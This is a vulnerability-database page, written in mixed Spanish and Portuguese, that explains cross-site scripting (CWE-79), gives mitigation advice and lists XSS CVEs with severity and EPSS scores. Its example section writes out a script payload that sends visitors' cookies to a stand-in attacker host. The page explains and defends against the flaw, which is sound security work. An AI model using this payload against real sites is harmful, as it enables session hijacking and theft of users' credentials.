Fallos del tipo CWE-79

28.993 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-0782LOWCodeAstro Online Railway Reservation System pass-profile.php cross site scriptingEPSS 0.6%CVE-2022-29444MEDIUMWordPress Breeze plugin <= 2.0.2 - Plugin Settings Change leading to Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2022-25612MEDIUMWordPress Simple Event Planner plugin <= 1.5.4 - Multiple Authenticated Persistent Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2024-11660MEDIUMcode-projects Farmacia usuario.php cross site scriptingEPSS 0.6%CVE-2025-65717MEDIUMAn issue in Visual Studio Code Extensions Live Server v5.7.9 allows attackers to exfiltrate files via user interaction with a crafted HTML pEPSS 0.6%CVE-2023-3815LOWy_project RuoYi File Upload uploadFilesPath cross site scriptingEPSS 0.6%CVE-2013-10026LOWMail Subscribe List Plugin index.php cross site scriptingEPSS 0.6%CVE-2021-38468HIGHInHand Networks IR615 RouterEPSS 0.6%CVE-2020-21058MEDIUMCross Site Scripting vulnerability in Typora v.0.9.79 allows a remote attacker to execute arbitrary code via the mermaid sytax.EPSS 0.6%CVE-2023-22461HIGHsanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)EPSS 0.6%CVE-2024-1834LOWSourceCodester Simple Student Attendance System ?page=attendance&class_id=1 cross site scriptingEPSS 0.6%CVE-2023-24065MEDIUMNOSH 4a5cfdb allows stored XSS via the create user page. For example, a first name (of a physician, assistant, or billing user) can have a JEPSS 0.6%CVE-2024-3428LOWSourceCodester Online Courseware edit.php cross site scriptingEPSS 0.6%CVE-2021-36832MEDIUMWordPress Icegram plugin <= 2.0.2 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2023-3784LOWDooblou WiFi File Explorer cross site scriptingEPSS 0.6%CVE-2026-45381MEDIUMTautulli: Reflected XSS in `/search` endpointEPSS 0.6%CVE-2023-27515HIGHCross-site scripting (XSS) for the Intel(R) DSA software before version 23.1.9 may allow unauthenticated user to potentially enable escalatiEPSS 0.6%CVE-2024-11986CRITICALStored XSS in CrushFTPEPSS 0.6%CVE-2022-4524LOWRoots soil Plugin CleanUpModule.php language_attributes cross site scriptingEPSS 0.6%CVE-2026-45797MEDIUMHeyForm Vulnerable to Stored XSS via Unauthenticated SVG File UploadEPSS 0.6%